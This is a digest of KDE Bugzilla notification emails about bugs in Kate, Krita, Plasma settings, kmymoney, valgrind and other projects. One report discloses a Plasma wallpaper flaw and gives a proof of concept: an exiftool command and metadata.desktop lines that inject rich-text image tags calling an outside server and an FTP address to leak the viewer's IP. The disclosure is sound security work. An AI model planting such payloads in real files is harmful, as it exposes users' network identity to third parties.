https://bugs.kde.org/show_bug.cgi?id=468778 --- Comment #6 from fanzhuyi...@gmail.com --- (In reply to Noah Davis from comment #5) > (In reply to fanzhuyifan from comment #4) > > Would it be appropriate to bump the importance since otherwise users may > > never find the screen recording functionality? > > I'm not sure if that warrants bumping up the importance or not. With that > said, I will work on this now that the translated string freeze from beta is > over. Thanks! Should this be marked as assigned then? -- You are receiving this mail because: You are watching all bug changes.
[systemsettings] [Bug 480109] apply button sometimes not clickable after changing screen replication options
https://bugs.kde.org/show_bug.cgi?id=480109 fanzhuyi...@gmail.com changed: What|Removed |Added Status|CONFIRMED |REPORTED Ever confirmed|1 |0 -- You are receiving this mail because: You are watching all bug changes.
[systemsettings] [Bug 480109] apply button sometimes not clickable after changing screen replication options
https://bugs.kde.org/show_bug.cgi?id=480109 fanzhuyi...@gmail.com changed: What|Removed |Added Status|ASSIGNED|CONFIRMED -- You are receiving this mail because: You are watching all bug changes.
[systemsettings] [Bug 480109] apply button sometimes not clickable after changing screen replication options
https://bugs.kde.org/show_bug.cgi?id=480109 fanzhuyi...@gmail.com changed: What|Removed |Added Assignee|fanzhuyi...@gmail.com |kscreen-bugs-n...@kde.org -- You are receiving this mail because: You are watching all bug changes.
[systemsettings] [Bug 480109] apply button sometimes not clickable after changing screen replication options
https://bugs.kde.org/show_bug.cgi?id=480109 Bug Janitor Service changed: What|Removed |Added Keywords||qt6 -- You are receiving this mail because: You are watching all bug changes.
[Haruna] [Bug 479724] No audio from Haruna OR mpv
https://bugs.kde.org/show_bug.cgi?id=479724 --- Comment #8 from Peter --- sudo flatpak update --commit=df38dd26a486205877b94f9558bf85e3100caefea160d528fffd30ad6429584a org.kde.haruna Above is the last commit of Haruna with 0.37 libmpv using the freedesktop 22-08 runtime. -- You are receiving this mail because: You are watching all bug changes.
[systemsettings] [Bug 480109] apply button sometimes not clickable after changing screen replication options
https://bugs.kde.org/show_bug.cgi?id=480109 --- Comment #1 from fanzhuyi...@gmail.com --- I should add that I only reproduce this when screen B is set to the primary screen. This can be reproduced on x11. -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 469016] Plasma panel visually (but not functionally) freezing on Wayland with Basic render loop and Non-Intel GPU when Task Manager previews are turned on
https://bugs.kde.org/show_bug.cgi?id=469016 --- Comment #98 from Monica --- Wanted to say that I tried running `kcmshell5 kcm_qtquicksettings` and tried setting the rendering back end to OpenGL (on a hunch) and setting the render loop to Threaded (as per what the general consensus is to fix it) to same result. That leads me to believe that either 1. The automatic settings for both of those just happened to be what I manually set it to by happenstance 2. The threaded renderer isn't exactly the solution that should be chased after Should 2 be the answer, it being the default option in Plasma 6 wouldn't resolve this issue. Since my prior issue was marked as a duplicate (issue #477946), I figured I'd share my findings here -- You are receiving this mail because: You are watching all bug changes.
[krita] [Bug 480110] New: GMIC Colorize Lineart [Propagation] crashes on MacOS because of dimensions mismatch
https://bugs.kde.org/show_bug.cgi?id=480110 Bug ID: 480110 Summary: GMIC Colorize Lineart [Propagation] crashes on MacOS because of dimensions mismatch Classification: Applications Product: krita Version: 5.2.2 Platform: macOS (DMG) OS: macOS Status: REPORTED Severity: normal Priority: NOR Component: G'Mic for Krita Assignee: krita-bugs-n...@kde.org Reporter: ironies.wells...@icloud.com Target Milestone: --- SUMMARY *** Using the GMIC plugin on ALL layers using the Black & White > Colorize Lineart [Propagation] preset returns an error code: *** Error in ./fx_colorize_lineart/*local/ *** Command 'watershed': [instance(6150,8250,1,3,0x433d58000,non-shared)] gmic::watershed(): image instance and specified priority (6150,8253,1,1,0x48887c000) have different dimensions. I saw a previous bug report on this that was resolved — perhaps the fix hasn't made it's way to MacOS? https://bugs.kde.org/show_bug.cgi?id=462096 STEPS TO REPRODUCE 1. Launch Krita 2. Open PSD File 3. Run GMIC 4. Select ALL layers. Select Black & White > Colorize Lineart [Propagation]. Press OK. OBSERVED RESULT Pop-up window with error code. EXPECTED RESULT GMIC filter results. Krita Version: 5.2.2 Hidpi: true Sandbox: false Qt Version (compiled): 5.15.7 Version (loaded): 5.15.7 OS Information Build ABI: arm64-little_endian-lp64 Build CPU: arm64 CPU: arm64 Kernel Type: darwin Kernel Version: 23.2.0 Pretty Productname: macOS 14.2 Product Type: osx Product Version: 14.2 Locale Languages: en_US C locale: C QLocale current: en QLocale system: en QTextCodec for locale: UTF-8 OpenGL Info Vendor: "Apple" Renderer: "Apple M1" Driver version: "4.1 Metal - 88" Shading language: "4.10" Requested format: QSurfaceFormat(version 4.1, options QFlags(), depthBufferSize 24, redBufferSize 8, greenBufferSize 8, blueBufferSize 8, alphaBufferSize 8, stencilBufferSize 8, samples -1, swapBehavior QSurfaceFormat::DoubleBuffer, swapInterval 0, colorSpace QSurfaceFormat::DefaultColorSpace, profile QSurfaceFormat::CoreProfile) Current format: QSurfaceFormat(version 4.1, options QFlags(), depthBufferSize 32, redBufferSize 8, greenBufferSize 8, blueBufferSize 8, alphaBufferSize 8, stencilBufferSize 8, samples 0, swapBehavior QSurfaceFormat::DoubleBuffer, swapInterval 0, colorSpace QSurfaceFormat::DefaultColorSpace, profile QSurfaceFormat::CoreProfile) GL version: 4.1 Supports deprecated functions false Is OpenGL ES: false supportsBufferMapping: true supportsBufferInvalidation: false forceDisableTextureBuffers: false Extensions: GL_ARB_texture_buffer_object_rgb32 GL_ARB_transform_feedback2 GL_ARB_separate_shader_objects GL_ARB_transform_feedback3 GL_ARB_texture_swizzle GL_APPLE_texture_range GL_ARB_texture_storage GL_EXT_debug_marker GL_ARB_occlusion_query2 GL_EXT_texture_compression_s3tc GL_APPLE_row_bytes GL_ARB_explicit_attrib_location GL_ARB_viewport_array GL_ARB_ES2_compatibility GL_ARB_texture_gather GL_ARB_shader_bit_encoding GL_ARB_shading_language_include GL_APPLE_rgb_422 GL_ARB_gpu_shader_fp64 GL_ARB_vertex_attrib_64bit GL_EXT_framebuffer_multisample_blit_scaled GL_ARB_gpu_shader5 GL_ARB_sample_shading GL_ARB_timer_query GL_EXT_debug_label GL_ARB_draw_buffers_blend GL_APPLE_client_storage GL_ARB_draw_indirect GL_APPLE_container_object_shareable GL_ARB_texture_rgb10_a2ui GL_ARB_texture_query_lod GL_ARB_internalformat_query GL_APPLE_flush_render GL_ARB_tessellation_shader GL_EXT_texture_sRGB_decode GL_ARB_blend_func_extended GL_NV_texture_barrier GL_ARB_shader_subroutine GL_ARB_texture_cube_map_array GL_ARB_instanced_arrays GL_EXT_texture_filter_anisotropic GL_ARB_sampler_objects GL_ARB_vertex_type_2_10_10_10_rev QPA OpenGL Detection Info supportsDesktopGL: true supportsOpenGLES: false isQtPreferOpenGLES: true Detected renderers: (Supported) Apple M1 (4.1 Metal - 88) useBufferInvalidation (config option): false Hardware Information GPU Acceleration: auto Memory: 8192 Mb Number of Cores: 8 Swap Location: /private/var/folders/f1/tp1ykg9j2t32b1k4wzynvxzmgn/T Built for: arm64+neon Base instruction set: arm64+neon Supported instruction sets: arm64+neon arm32+neon avx512bw avx512dq avx512cd avx512f fma3+avx2 avx2 fma3+avx avx fma4 fma3+sse4.2 sse4.2 sse4.1 ssse3 sse3 sse2 Current Settings Current Swap Location: /private/var/folders/f1/tp1ykg9j2t32b1k4wzynvxzmgn/T Current Swap Location writable: true Undo Enabled: true Undo Stack Limit: 200 Use OpenGL: true Use OpenGL Texture Buffer: true Disable Vector
[kate] [Bug 443266] Kate does not overwrite session state
https://bugs.kde.org/show_bug.cgi?id=443266 Christoph Cullmann changed: What|Removed |Added Version Fixed In||23.08.0 -- You are receiving this mail because: You are watching all bug changes.
[massif-visualizer] [Bug 479434] Snap of massif-visualizer is not configured properly with dot/graphviz
https://bugs.kde.org/show_bug.cgi?id=479434 --- Comment #3 from Dan --- (In reply to Milian Wolff from comment #2) > and I'm not maintaining any snap packages, please reach out to your > distribution or packager Who is maintaining https://snapcraft.io/massif-visualizer ? It says it's an official KDE account and "Contact publisher" leads to https://kde.org/support/ which leads to a bug tracker. -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 443266] Kate does not overwrite session state
https://bugs.kde.org/show_bug.cgi?id=443266 Christoph Cullmann changed: What|Removed |Added CC||cullm...@kde.org Status|CONFIRMED |RESOLVED Resolution|--- |FIXED --- Comment #1 from Christoph Cullmann --- Works for me with recent versions. -- You are receiving this mail because: You are watching all bug changes.
[Haruna] [Bug 479724] No audio from Haruna OR mpv
https://bugs.kde.org/show_bug.cgi?id=479724 --- Comment #7 from Peter --- The first mpv 0.37 flatpak commit 333a91d is still on freedesktop 22-08 and also works. -- You are receiving this mail because: You are watching all bug changes.
[frameworks-ktexteditor] [Bug 458072] Ctrl+. broken as a keybind
https://bugs.kde.org/show_bug.cgi?id=458072 Christoph Cullmann changed: What|Removed |Added Status|CONFIRMED |NEEDSINFO Resolution|--- |WAITINGFORINFO --- Comment #13 from Christoph Cullmann --- Can still not reproduce this. Please try it again after KF6 is released. -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 480106] plasma wallpaper image parsing IP address leak via EXIF attributes / metadata.desktop / metadata.json
https://bugs.kde.org/show_bug.cgi?id=480106 Nicolas Fella changed: What|Removed |Added CC||nicolas.fe...@gmx.de Severity|critical|normal -- You are receiving this mail because: You are watching all bug changes.
[extra-cmake-modules] [Bug 480107] kcoreaddons_add_plugin installs in a wrong directory
https://bugs.kde.org/show_bug.cgi?id=480107 Nicolas Fella changed: What|Removed |Added CC||nicolas.fe...@gmx.de Severity|critical|normal -- You are receiving this mail because: You are watching all bug changes.
[systemsettings] [Bug 480109] apply button sometimes not clickable after changing screen replication options
https://bugs.kde.org/show_bug.cgi?id=480109 fanzhuyi...@gmail.com changed: What|Removed |Added Status|REPORTED|ASSIGNED Assignee|kscreen-bugs-n...@kde.org |fanzhuyi...@gmail.com Ever confirmed|0 |1 -- You are receiving this mail because: You are watching all bug changes.
[systemsettings] [Bug 480109] New: apply button sometimes not clickable after changing screen replication options
https://bugs.kde.org/show_bug.cgi?id=480109 Bug ID: 480109 Summary: apply button sometimes not clickable after changing screen replication options Classification: Applications Product: systemsettings Version: master Platform: Other OS: Linux Status: REPORTED Severity: minor Priority: NOR Component: kcm_kscreen Assignee: kscreen-bugs-n...@kde.org Reporter: fanzhuyi...@gmail.com CC: plasma-b...@kde.org Target Milestone: --- STEPS TO REPRODUCE 1. Set up two screen, call them screen A and screen B 2. Go to settings->display configuration 3. Set screen A to be a replicate of B, and click apply 4. Under devices, change to screen B 5. change back to screen A 6. Set screen A to be a replicate of None OBSERVED RESULT Apply button is dim and not clickable EXPECTED RESULT Apply button is active and clickable SOFTWARE/OS VERSIONS Operating System: Arch Linux KDE Plasma Version: 6.0.80 KDE Frameworks Version: 5.249.0 Qt Version: 6.7.0 Kernel Version: 6.7.0-arch3-1 (64-bit) Graphics Platform: Wayland Processors: 20 × 13th Gen Intel® Core™ i9-13900H Memory: 15.2 GiB of RAM Graphics Processor: Mesa Intel® Graphics Manufacturer: ASUSTeK COMPUTER INC. Product Name: ROG Zephyrus G16 GU603VV_GU603VV System Version: 1.0 -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 363226] Kate crashes if session includes files on mapped drive that has been disconnected
https://bugs.kde.org/show_bug.cgi?id=363226 Christoph Cullmann changed: What|Removed |Added CC||al...@wint.ai --- Comment #15 from Christoph Cullmann --- *** Bug 464010 has been marked as a duplicate of this bug. *** -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 464010] The app crashes when trying to open a file on a drive that does not exist
https://bugs.kde.org/show_bug.cgi?id=464010 Christoph Cullmann changed: What|Removed |Added Resolution|--- |DUPLICATE CC||cullm...@kde.org Status|REPORTED|RESOLVED --- Comment #1 from Christoph Cullmann --- *** This bug has been marked as a duplicate of bug 363226 *** -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 474497] Crash while saving
https://bugs.kde.org/show_bug.cgi?id=474497 Christoph Cullmann changed: What|Removed |Added Status|REPORTED|NEEDSINFO CC||cullm...@kde.org Resolution|--- |WAITINGFORINFO --- Comment #1 from Christoph Cullmann --- Not fixable without a way to reproduce. We did alter stuff for KF6, perhaps that helped by chance. -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 474905] Interacting with a popup crashes Kate on wayland
https://bugs.kde.org/show_bug.cgi?id=474905 Christoph Cullmann changed: What|Removed |Added Resolution|--- |UPSTREAM URL||https://bugreports.qt.io/br ||owse/QTBUG-117015 Status|REPORTED|NEEDSINFO CC||cullm...@kde.org --- Comment #1 from Christoph Cullmann --- Thanks for reporting this. We can't fix that in Kate. One needs to see what happens in https://bugreports.qt.io/browse/QTBUG-117015 -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 436318] Save session doesn't work under Wayland
https://bugs.kde.org/show_bug.cgi?id=436318 Cengiz Gunay changed: What|Removed |Added CC||cengi...@users.sf.net -- You are receiving this mail because: You are watching all bug changes.
[kmymoney] [Bug 469431] Need better way to handle changes in stock price quote source
https://bugs.kde.org/show_bug.cgi?id=469431 --- Comment #47 from jesse --- I agree Brendon. I really do not think comments like this are necessary: "kmm is for freaks and developers mostly," I do like the idea of having the web page to document what regex has worked. Maybe another open source project could be stood up to work as an interface and provide functionality to all financial software. -- You are receiving this mail because: You are watching all bug changes.
[kdenlive] [Bug 480108] New: clip labels in tracks should be in clip centres because putting them right next to clip start obscures audio signal
https://bugs.kde.org/show_bug.cgi?id=480108 Bug ID: 480108 Summary: clip labels in tracks should be in clip centres because putting them right next to clip start obscures audio signal Classification: Applications Product: kdenlive Version: unspecified Platform: Other OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: User Interface Assignee: j...@kdenlive.org Reporter: djhbr...@gmail.com Target Milestone: --- that makes it difficult to synchronise audi9o and video -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 478230] Kate snippets: crash when editing a snippet repository
https://bugs.kde.org/show_bug.cgi?id=478230 Christoph Cullmann changed: What|Removed |Added CC||cullm...@kde.org Version Fixed In||24.02.0 -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 478230] Kate snippets: crash when editing a snippet repository
https://bugs.kde.org/show_bug.cgi?id=478230 Christoph Cullmann changed: What|Removed |Added Latest Commit|https://invent.kde.org/util |https://invent.kde.org/util |ities/kate/-/commit/e2db4ce |ities/kate/-/commit/a6bc7ac |f84f5e8e7e0c00fe069966cdf48 |3883fd7e1dd6b9486e0f0278f7a |f363e0 |c2894c --- Comment #3 from Christoph Cullmann --- Git commit a6bc7ac3883fd7e1dd6b9486e0f0278f7ac2894c by Christoph Cullmann. Committed on 20/01/2024 at 22:37. Pushed by cullmann into branch 'release/24.02'. fix Kate snippets: crash when editing a snippet repository (cherry picked from commit e2db4cef84f5e8e7e0c00fe069966cdf48f363e0) M +1-1addons/snippets/snippet.h https://invent.kde.org/utilities/kate/-/commit/a6bc7ac3883fd7e1dd6b9486e0f0278f7ac2894c -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 478230] Kate snippets: crash when editing a snippet repository
https://bugs.kde.org/show_bug.cgi?id=478230 Christoph Cullmann changed: What|Removed |Added Latest Commit||https://invent.kde.org/util ||ities/kate/-/commit/e2db4ce ||f84f5e8e7e0c00fe069966cdf48 ||f363e0 Status|CONFIRMED |RESOLVED Resolution|--- |FIXED --- Comment #2 from Christoph Cullmann --- Git commit e2db4cef84f5e8e7e0c00fe069966cdf48f363e0 by Christoph Cullmann. Committed on 20/01/2024 at 22:37. Pushed by cullmann into branch 'master'. fix Kate snippets: crash when editing a snippet repository M +1-1addons/snippets/snippet.h https://invent.kde.org/utilities/kate/-/commit/e2db4cef84f5e8e7e0c00fe069966cdf48f363e0 -- You are receiving this mail because: You are watching all bug changes.
[frameworks-ktexteditor] [Bug 447740] Crash in QAccessible::queryAccessibleInterface
https://bugs.kde.org/show_bug.cgi?id=447740 Christoph Cullmann changed: What|Removed |Added Resolution|--- |WORKSFORME Status|CONFIRMED |RESOLVED --- Comment #29 from Christoph Cullmann --- One can turn it off in master and for any more changes we would need a way to reproduce this. -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 475210] Always create a tempfile / session file for new documents
https://bugs.kde.org/show_bug.cgi?id=475210 Christoph Cullmann changed: What|Removed |Added Severity|major |wishlist CC||cullm...@kde.org --- Comment #1 from Christoph Cullmann --- Is a good idea and a valid wish, help to implement that is welcome. -- You are receiving this mail because: You are watching all bug changes.
[kate] [Bug 476888] Kate Crash Nov 12, 2023
https://bugs.kde.org/show_bug.cgi?id=476888 Christoph Cullmann changed: What|Removed |Added Resolution|--- |WAITINGFORINFO Status|REPORTED|NEEDSINFO --- Comment #3 from Christoph Cullmann --- Without more info how to reproduce this, we can't fix it. -- You are receiving this mail because: You are watching all bug changes.
[extra-cmake-modules] [Bug 480107] New: kcoreaddons_add_plugin installs in a wrong directory
https://bugs.kde.org/show_bug.cgi?id=480107 Bug ID: 480107 Summary: kcoreaddons_add_plugin installs in a wrong directory Classification: Frameworks and Libraries Product: extra-cmake-modules Version: 5.248.0 Platform: Neon OS: Linux Status: REPORTED Severity: critical Priority: NOR Component: general Assignee: ecm-bugs-n...@kde.org Reporter: matinlotf...@gmail.com Target Milestone: --- SUMMARY the kcoreaddons_add_plugin command installs the plugin in the wrong location. STEPS TO REPRODUCE 1. run cmake install in a project that uses kcoreaddons_add_plugin and see the installed locations OBSERVED RESULT Installs the plugin in /usr/lib/x86_64-linux-gnu/plugins EXPECTED RESULT Install the plugin in /usr/lib/x86_64-linux-gnu/qt6/plugins SOFTWARE/OS VERSIONS Linux/KDE Plasma: Latest Neon Unstable and Fedora Rawhide ADDITIONAL INFORMATION It might be related to another bug https://bugs.kde.org/show_bug.cgi?id=461487 -- You are receiving this mail because: You are watching all bug changes.
[systemsettings] [Bug 460433] Screen mirroring/"Replica of" combobox doesn't appear on Wayland
https://bugs.kde.org/show_bug.cgi?id=460433 --- Comment #7 from Bug Janitor Service --- A possibly relevant merge request was started @ https://invent.kde.org/plasma/libkscreen/-/merge_requests/180 -- You are receiving this mail because: You are watching all bug changes.
[plasmashell] [Bug 480106] New: plasma wallpaper image parsing IP address leak via EXIF attributes / metadata.desktop / metadata.json
https://bugs.kde.org/show_bug.cgi?id=480106
Bug ID: 480106
Summary: plasma wallpaper image parsing IP address leak via
EXIF attributes / metadata.desktop / metadata.json
Classification: Plasma
Product: plasmashell
Version: 5.27.10
Platform: Other
OS: Linux
Status: REPORTED
Severity: critical
Priority: NOR
Component: Image Wallpaper
Assignee: plasma-b...@kde.org
Reporter: benjaminfle...@icloud.com
CC: notm...@gmail.com, qydwhotm...@gmail.com,
secur...@kde.org
Target Milestone: 1.0
Created attachment 165086
--> https://bugs.kde.org/attachment.cgi?id=165086=edit
IP address leak from plasma wallpaper via QML RichText parsing of user-provided
text
SUMMARY
***
exif image information is used by plasma image wallpaper to create a qml
richtext string to display author and title of a wallpaper image. the QML
richtext can contain tags which point to outside servers. http:// and
ftp:// links in the tags are followed to remote addressess
AUTHOR & NAME fields in metadata.desktop are also affected, as well as the
author & name in metadata.json
exploitable EXIF tags: Exif.Image.XPTitle, Exif.Image.DocumentName,
Exif.Image.ImageDescription, Exif.Image.Artist, Exif.Image.XPAuthor,
Exif.Image.Copyright
bugged code is here:
https://github.com/KDE/plasma-workspace/blob/master/wallpapers/image/plugin/finder/mediametadatafinder.cpp#L34
***
STEPS TO REPRODUCE
EASY:
1. download
https://www.deutsche-cyberberatung.de/plasma-shell-wallpaper-ip-address-leak.jpg
2. place file in ~/.local/share/wallpapers/
3. go on desktop -> right click -> "configure desktop and wallpaper"
4. see that the code is rendered in UI as QML Richtext
IMAGE w/ EXIF INFO:
1. take random jpg image
2. run `exiftool -Artist='benjaminfleschhttps://www.spyber.com/sig-54300.png"/>' bugme.jpg
-overwrite_original_in_place`
3. go on desktop -> right click -> "configure desktop and wallpaper"
4. see that the code is rendered in UI as QML Richtext
METADATA.DESKTOP:
[Desktop Entry]
Name=foobarhttps://www.spyber.com/sig-54300.png; />ftp://1.2.3.4/etc/qt.conf"/>huhu
Author=foobarhttps://www.spyber.com/sig-54300.png; />ftp://1.2.3.4/etc/qt.conf"/>huhu
METADATA.JSON:
{
"KPlugin": {
"Authors": [
{
"Name": "Benjamin Flesch ",
"Email": "b...@deutsche-cyberberatung.de"
}
],
"Name": "leakmyaddress "
}
OBSERVED RESULT
html code from exif author field is parsed as QML richtext and allows IP
address leak
EXPECTED RESULT
user-provided exif fields should not be parsed
SOFTWARE/OS VERSIONS
kdeplasma-addons 5.27.10-2
plasma-browser-integration 5.27.10-1
plasma-desktop 5.27.10-1
plasma-disks 5.27.10-1
plasma-firewall 5.27.10-1
plasma-framework5 5.114.0-1
plasma-integration 5.27.10-1
plasma-meta 5.27-4
plasma-nm 5.27.10-1
plasma-pa 5.27.10-1
plasma-sdk 5.27.10-1
plasma-systemmonitor 5.27.10-1
plasma-thunderbolt 5.27.10-1
plasma-vault 5.27.10-1
plasma-wayland-session 5.27.10-2
plasma-welcome 5.27.10-1
plasma-workspace 5.27.10-2
plasma-workspace-wallpapers 5.27.10-1
plasmatube 23.08.4-1
ADDITIONAL INFORMATION
--
You are receiving this mail because:
You are watching all bug changes.
[valgrind] [Bug 480052] WARNING: unhandled amd64-freebsd syscall: 580
https://bugs.kde.org/show_bug.cgi?id=480052 Paul Floyd changed: What|Removed |Added Resolution|--- |FIXED Status|REPORTED|RESOLVED --- Comment #4 from Paul Floyd --- The missing syscall should be fixed with commit 3cacde0ca261196031cb84b22ad427483bae057e (HEAD -> master, origin/master, origin/HEAD) Author: Paul Floyd Date: Sat Jan 20 21:14:37 2024 +0100 Bug 480052 - WARNING: unhandled amd64-freebsd syscall: 580 I still get a lot of errors and the googletest fails -- You are receiving this mail because: You are watching all bug changes.
[kwin] [Bug 478461] KWin crashes on startup in KWin::X11Compositor::createOpenGLSafePoint() after update
https://bugs.kde.org/show_bug.cgi?id=478461 Ale changed: What|Removed |Added Resolution|BACKTRACE |--- Status|NEEDSINFO |REPORTED -- You are receiving this mail because: You are watching all bug changes.
[kmymoney] [Bug 469431] Need better way to handle changes in stock price quote source
https://bugs.kde.org/show_bug.cgi?id=469431 --- Comment #46 from Pete --- This has been so philosophically stimulating. Allow me to go off topic. Copying (cursor highlight, CTRL+C) bill pay amounts from the KMM home page into payment websites is basic minimal functionality for financial software. This broke in 2022. https://bugs.kde.org/show_bug.cgi?id=453640 I was told to get KMM recompiled another way for Ubuntu. https://bugs.launchpad.net/ubuntu/+source/kmymoney/+bug/2006405 This has not happened. Could some bright KMM developer contact some bright Ubuntu developer and get this fixed. -- You are receiving this mail because: You are watching all bug changes.
[frameworks-kstatusnotifieritem] [Bug 478734] Main window is not closable after first close to tray
https://bugs.kde.org/show_bug.cgi?id=478734 --- Comment #5 from Andrew Shark --- I have found a good workaround. To keep the window "closable to tray", you can "close to tray" it by clicking on the tray icon. This works at least for Kmail. -- You are receiving this mail because: You are watching all bug changes.
